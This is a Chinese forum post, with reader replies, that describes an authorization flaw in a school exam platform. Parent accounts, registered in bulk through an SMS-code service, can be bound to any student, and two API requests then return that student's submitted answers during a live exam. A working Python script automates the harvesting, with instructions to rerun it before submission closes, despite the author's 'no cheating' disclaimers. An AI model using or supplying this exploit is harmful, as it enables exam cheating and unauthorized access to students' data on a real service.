吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3039|回复: 27
收起左侧

[Android 原创] 某分数的脑瘫漏洞

[复制链接]
Tonyha7 发表于 2022-11-30 17:04

前言

半年之前搞过某师某课 可能学校意识到普遍分数过高是平台的问题 于是换了某分数提交考试卷子
既然是教育网站 那么或多或少会有一些脑瘫问题
本着研究但不利用的原则 便有了以下折腾的过程

过程

思路1-失败

通过考完试比对答案的接口 假装考试已经结束 发送数据来请求答案
结果:



很显然 人家已经想到了这个问题 不出分是无法获取到答案的

思路2

依稀记得家长端在绑定学生时 只需要输入对应的姓名和学号即可
那么可不可以用家长端绑定好学生 在考试期间获取他们的答案呢?
先说结果 这个思路是可以的
已知每个家长号能绑定最多两个学生 且半年后才能换绑
那么我们只要注册足够多的家长号 即可随便绑学生
这里用x码平台 具体懂得都懂



然后我们每个号绑定一个好学生
接下来分析提交的答案是怎么获取的
首先明确这个平台的几个概念:
不管是学生号还是家长号 都是一个账号对应一个hfs-session-id
家长号切换孩子后 同样的hfs-session-id获取到的卷子为切换到的学生的
考试部分获取答案总共需要两个包
第一个:



https://hfs-be.yunxiao.com/v2/online-exams/token?examId=考试id&paperId=完整的试卷id

这里需要注意一下 发包时除了要处理headers
还要把hfs-session-id写到cookies里去
成功的话 会返回一个阅卷token
第二个:
利用这个阅卷token去获取已经提交的答案



https://yj-apigw.haofenshu.com/v370/structure/online?paperid=试卷id

这里需要注意 这个包不要有cookies
要把获取到的阅卷token加到headers里
成功的话 会返回一个json 里面存有选项和提交的答案



(这里还没提交 所以是空的)
然后 我们模拟这个流程 用python写个发包解析的程序

import requests
import json

examid="考试id"
paperid="试卷id"
paperidfull="完整的试卷id"

stu_tokens = [
    "eyxxxxxxx",#家长token
]

count=1
for stu in stu_tokens:
    url="https://hfs-be.yunxiao.com/v2/online-exams/token?examId="+examid+"&paperId="+paperidfull
    cookie = {'hfs-session-id': stu}
    headers = {'devicetype': '1','apptype': '1','versionname': "4.30.91",'user-agent': "YX Android 10"}
    req=requests.get(url=url,headers=headers,cookies=cookie)
    #print(req.text)
    yuejuan=json.loads(req.text).get('data').get('token')
    headers.update({'hfs-app-token': yuejuan})
    url="https://yj-apigw.haofenshu.com/v370/structure/online?paperid="+paperid
    req=requests.get(url=url,headers=headers)
    #print(req.text)
    keguanti=json.loads(req.text).get('data').get('keguanti')
    zhuguanti=json.loads(req.text).get('data').get('zhuguanti')
    for dati in keguanti:
        print(dati["name"])
        questions_list=dati["questions"]
        for xiaoti in questions_list:
            if xiaoti["stuAns"] !="" and xiaoti["stuAns"] !="-":
                print(xiaoti["name"]+" "+xiaoti["stuAns"])
    for ti in zhuguanti:
        pic_list=ti["httpPath"]
        if pic_list != None:
            print(ti["name"]+" "+" ".join(pic_list))
    print("========== |"+str(count))
    count+=1

在考试结束的交卷时间里 我们一直重复运行即可



最后

严禁作弊!!!
严禁作弊!!!
严禁作弊!!!

免费评分

参与人数 6吾爱币 +6 热心值 +6 收起 理由
笙若 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
loo1221ool + 1 + 1 我很赞同!
汐月呢 + 1 热心回复!
XXXXXXXXMMMM + 1 + 1 我很赞同!
晚辈小生 + 2 + 1 用心讨论,共获提升!
social666 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

涛之雨 发表于 2022-12-1 20:52
经理看到连夜增加新功能:如果没有通过教师的author认证,就直接返回一套错误答案
如果最后把所有答案与错误答案对比,相似度超过90%直接交给人工审核
Eilliem 发表于 2022-12-2 00:24
感谢分享,但是感觉很快平台就会有动作了,这些平台难道都不做项目设计的吗?这么关键的数据居然随意下发给权限那么低的账户,不过修bug也简单,非教师用户仅能考试结束后xx小时调阅试卷即可
zxc135781 发表于 2022-11-30 17:15
social666 发表于 2022-11-30 17:24
好贴,先点后试
Lisir99 发表于 2022-11-30 17:51
感谢分享
ClearLover 发表于 2022-11-30 18:41
中间那个是黄鸟吧,请问下安卓12以上的系统用黄鸟无ROOT的情况下怎么抓HTTPS的包呢?
Aminx520 发表于 2022-11-30 18:50
感谢分享,希望楼主多多发帖
 楼主| Tonyha7 发表于 2022-11-30 18:54
ClearLover 发表于 2022-11-30 18:41
中间那个是黄鸟吧,请问下安卓12以上的系统用黄鸟无ROOT的情况下怎么抓HTTPS的包呢?

虚拟机用justtrustme之类的模块 实机抓包
我比较喜欢直接用root
long8586 发表于 2022-11-30 19:18
虽然用不上,但是还是点个赞!
jyx520 发表于 2022-11-30 23:47
感谢分享,学习学习
没头脑和温柚 发表于 2022-12-1 00:23
这个漏洞确实有点那啥了
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-28 08:23

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表